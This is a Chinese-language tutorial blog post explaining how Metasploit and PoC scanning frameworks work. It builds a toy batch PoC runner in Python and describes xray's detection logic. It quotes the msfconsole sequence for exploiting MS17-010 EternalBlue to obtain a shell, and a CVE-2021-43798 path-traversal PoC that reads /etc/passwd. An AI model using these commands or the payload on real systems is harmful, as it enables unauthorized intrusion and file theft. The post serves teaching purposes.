Metasploit框架基础(一)

这篇具有很好参考价值的文章主要介绍了Metasploit框架基础(一)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

Metasploit

  • 一款渗透测试框架
  • 漏洞利用的集合与构建和定制满足你的需求的基础
  • 漏洞利用和验证的工具

这几个说法都是百度或者官方文档中出现的手法,说到底无非就是一个软件,一堆代码。至于称之为框架(framework),就是这堆代码是帮你写好大部分的、通用的代码。封装了许多漏洞利用与验证功能,并提供了许多接口供我们调用,以定制我们想要的功能。用面向对象(OOP)的角度来说就是,写好了一个基类/接口,我们按照结构继承/实现其中的方法即可。
卖课用得最多的(影响很大)的漏洞——MS17-010,这个百度一下就有一大堆用MFS怎么拿shell的

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell

一顿操作,就轻而易举地拿到一个shell。总是很疑惑,use payloads 发生了什么,payloads到底是什么样的,run之后发生了什么?
现在,我们将尝试解答这些问题


一、基础认知

不管怎么花里胡哨,漏洞利用都是通过网络通信的,通过协议栈软件/网络子系统进行信息的交换。信息的交互都是通过各种协议进行,无非就是A主机发一串特定格式的消息(01001010101),B主机接收后解析识别这个格式的01001010101,然后按照协议的规定进行下一步。
以HTTP协议为例,这是一个基于文本的应用协议,以下是一个典型的请求数据包:

GET / HTTP/1.1
Host: baidu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: BIDUPSID=704FDAD384C9E21E8616425F299CEC24; PSTM=1620123768; 
Connection: close

HTTP服务器进程(Web服务器)接收到这个段文本消息后,逐行解析,按照一定格式回复一个HTML文件,浏览器解析渲染,就可以看到百度的页面了。
这些都是通过协议栈提供给我们的编程接口实现的——socket API。其他应用层协议都是通过socket编程实现的,协议间的差异无非就是消息格式、加密方式、执行的操作等。

二、批量POC/EXP的构想

我们来看一个很辣鸡的POC(CVE-2021-43798)

import requests

url = "http://ip或域名:3000/"
header = {
}
module_list = ["alertlist",
    "annolist",
    "barchart",
   #这里省略很多个插件名   
]

file_to_read = "/etc/passwd"

for plugin in module_list:
    poc_url = url + "public/plugins/" + plugin + '/../../../../../../../../../../../../..' + file_to_read
    print(poc_url)
    res = requests.get(url=url, headers=header)
    print(res.status_code)
    print("*****************************************************")
    if "root" in res.text:
        print("漏洞存在")
        break

这个POC做的事:

  1. 构造一个含有payload的url(这里就是这个漏洞的漏洞利用方式)
  2. 发送http数据包(requests模块已经榜我们构造好数据包并发送出去)
  3. 获取回包并做判断

所有的POC都是这样:

  • 构造含有payload的数据包(各种协议)
  • 根据可用的条件判断漏洞

那么我们要做就是2点,其他东西几乎都是一样的,那么我们就可写一个软件,用户提供这2点逻辑代码,让软件自动帮我们构造数据包并调用执行,那么,我们就可以实现批量的poc检测。野心再大一点,我们要实现更多功能,那么,一个漏洞扫描器就诞生了。


三、poc检测框架的简单实现

由于我们我们辣鸡的代码水平,我们并不能做很复杂的事情,我们的构想是这样:

  • 以poc文件为单位
  • 规定每个poc文件中实现verify()函数
  • 遍历目录下的poc文件,调用verify()函数

这里我们并没有统一底层网络的调用,也就是数据包的构造和发送还是需要POC编写者提供;漏洞的判断过程代码的组织也是完全由POC提供者编写,也就是说我们没有将payload抽离出来,达到解耦的目的,提供不了yaml格式的poc写;没有用OOP的思想等等。总的来说,我们实现的只是一个批量调度执行器,或者说是函数的逐一调用,但理解了这个,对我们理解pocsuite3、xray、metasploit有很好的帮助。

项目结构:
Metasploit框架基础(一),工具篇,网络,服务器,安全
main.py如下:

import os
import sys
import importlib
import warnings
warnings.filterwarnings("ignore")  #去除warnings
def banner():
    msg = r'''
    --
    \ \               ||
  -----------         ||
  -----------    -----||----
    \ \  //      -----||----
---------------- ||---||----||
---------------- ||---||----||
    ---//---        //|| \\
    --//---        // ||  \\
     //               ||
    '''
    print(msg)
banner()
sys.path.append("pocs")  #临时添加搜索模块时的路径,参考[6]
path = "./pocs"
list = []
datanames = os.listdir(path)  #获取path目录下所有的POC文件名,存在列表datanames
datanames.remove('__init__.py')  # 去除非poc文件
datanames.remove('__pycache__')  # 去除非poc文件
for i in datanames:     
    a = i[:-3]			#去除文件后缀 .py
    i = importlib.import_module(a)  #将字符串作为模块导入,参考[7][8]
    list.append(i)					#模块名存入list[]
for i in list:
    res = i.verify(sys.argv[1])	#传入url,调用每个模块的verify()方法
    print(res)

poc文件如下:

import requests
def verify(arg, **kwargs):
    r = requests.get(arg)
    if r.status_code == 200:
        return {"url": arg, "name":"poc","info":"存在漏洞"}

命令运行:
Metasploit框架基础(一),工具篇,网络,服务器,安全

这代码辣鸡得不能在辣鸡了,但也勉强实现了我们得需求,批量poc对一个url进行检测。经过了辣鸡人生体验,我们来看看现代化的、时尚的、智能的poc检测框架

四、xray

xray的检测的伪代码:

for rule in rules:
    newReq = mutate_request_by_rule(req, rule)
    response = send(newReq)
    if not check_response(response, rule):
        break

简单来讲就是将请求根据 rule 中的规则对请求变形,然后获取变形后的响应,再检查响应是否匹配 expression 部分的表达式。如果匹配,就进行下一个 rule,如果不匹配则退出执行。 如果成功执行完了最后一个 rule,那么代表目标有漏洞,将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。

不管怎么变,核心思想都是:

  • 请求数据包变形
  • 根据回包逻辑判断

五、Meatsploit框架

讲了这么多,到底讲了什么呢?我们再来看一下MS7-010的利用过程:

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell

无非就是

  1. 关键字搜索
  2. 加载人家写好的exp(有些还要设置payload
  3. 设置exp需要的参数
  4. run --> 发送该数据包进行攻击

如果你感兴趣,可以自己去看一下这个exploit/windows/smb/ms17_010_eternalblueruby文件
本质还是需要懂得漏洞本身,永恒之蓝这种系统漏洞又涉及SMB协议、二进制、缓冲区溢出等知识,所以说Metasploit是一个框架,允许你基于这个框架写poc、exp,并进行攻击利用。你完全可以写一个独立的工具,不过,正如我们实现的辣鸡poc,一键扫描还是香的。而且之前我们说过,很多代码都是重复的,框架可以简化我们写poc的过程,这也是yaml格式的poc的由来原因

参考

[1] https://paper.seebug.org/913/
[2] https://pocsuite.org/guide/what-is-pocsuite3.html
[3] https://www.offensive-security.com/metasploit-unleashed/exploit-format/
[4]《Web渗透测试 基于Metasploit5.0》
[5] https://docs.xray.cool/#/tutorial/introduce
[6] http://t.csdn.cn/EKDuD
[7] https://www.cnblogs.com/meishandehaizi/p/5863233.html
[8] https://docs.python.org/3/library/importlib.html文章来源地址https://www.toymoban.com/news/detail-534974.html

到了这里,关于Metasploit框架基础(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Flask框架小程序后端分离开发学习笔记《2》构建基础的HTTP服务器

    Flask是使用python的后端,由于小程序需要后端开发,遂学习一下后端开发。本节提供一个构建简单的本地服务器的代码,仔细看注释,学习每一步的流程,理解服务器接收请求,回复响应的基本原理。 代码效果,运行之后,在浏览器输入:localhost:2000 总结 1.导入socket库:这个库

    2024年01月18日
    浏览(44)
  • ioGame21发布,史诗级增强,Java Netty 轻量级网络游戏服务器框架

    标题:ioGame21 发布:史诗级增强,Java Netty 轻量级网络游戏服务器框架 引言 近日,一款名为 ioGame21 的轻量级网络游戏服务器框架在 GitHub 上正式发布。这款框架基于 Java Netty 构建,具有高性能、高可扩展性和易于使用的特点。ioGame21 的发布将为游戏开发者提供一个强大的工

    2024年02月19日
    浏览(52)
  • 【100天精通python】Day47:python网络编程_Web开发:web服务器,前端基础以及静态服务器

    目录 1  网络编程与web编程 1.1 网络编程 1.2 web编程  1.3 前后端交互的基本原理/

    2024年02月11日
    浏览(52)
  • Android:安卓开发采用Volley网络框架+MySQL数据库,实现从服务器获取数据并展示完成记单词APP

    实现功能:设计一个记单词APP。服务器采用Tomcat,数据库采用Mysql。实现用户的注册登录功能以及单词的增删改查。 指标要求:实现UI布局;将系统数据保存到Mysql数据库中,并采用Volley网络框架实现从服务器获取数据并展示。 步骤1:搭建开发环境。 步骤2:准备资源。 步骤

    2024年02月13日
    浏览(48)
  • UE5 独立程序的网络TCP/UDP服务器与客户端基础流程

    引擎源码版,复制EngineSourcePrograms路径下的BlankProgram空项目示例。 重命名BlankProgram,例如CustomTcpProgram,并修改项目名称。  修改.Build.cs内容 修改Target.cs内容     修改Private文件夹内.h.cpp文件名并修改.cpp内容 刷新引擎 在项目.Build.cs中加入模块  .cpp 客户端.cpp 未完待续。。

    2024年01月17日
    浏览(60)
  • Linux高性能服务器编程 学习笔记 第五章 Linux网络编程基础API

    我们将从以下3方面讨论Linux网络API: 1.socket地址API。socket最开始的含义是一个IP地址和端口对(ip,port),它唯一表示了使用TCP通信的一端,本书称其为socket地址。 2.socket基础API。socket的主要API都定义在sys/socket.h头文件中,包括创建socket、命名socket、监听socket、接受连接、发

    2024年02月07日
    浏览(56)
  • 《羊了个羊》服务器2天崩3次?去中心化云会成为下一代网络基础设施吗?

    中秋送走了玉兔,要说过后哪种动物最火,一定非羊莫属,而且这只羊是用钱买不到、只能通过消消乐才能得到的羊。 近日,一款号称通关率不到0.1%的硬核消除类闯关小游戏《羊了个羊》突然爆红,几度登上微博话题热搜,甚至在9月14日登顶微博热搜榜。 如果你发现微信好

    2024年02月02日
    浏览(39)
  • Metasploit渗透测试框架基础

    简介: Metaspolit是一个渗透测试框架,属于框架,是模块化组成的,是一个免费的可下的框架,通过它可以很容易的获取、开发并对计算机软件漏洞实现 metaspliot时候,计算机安全状况就永久的改变了 MSF:The Metasploit Framework Metasploit是一款开源的安全的漏洞检测工具,可以帮助

    2024年02月04日
    浏览(45)
  • Metasploit框架基础(一)

    Metasploit 一款渗透测试框架 漏洞利用的集合与构建和定制满足你的需求的基础 漏洞利用和验证的工具 这几个说法都是百度或者官方文档中出现的手法,说到底无非就是一个软件,一堆代码。至于称之为框架( framework ),就是这堆代码是 帮你写好大部分的、通用的代码 。封

    2024年02月13日
    浏览(78)
  • Metasploit Framework(MSF)基础框架

    Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。 常见名词解释: POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性

    2024年02月08日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包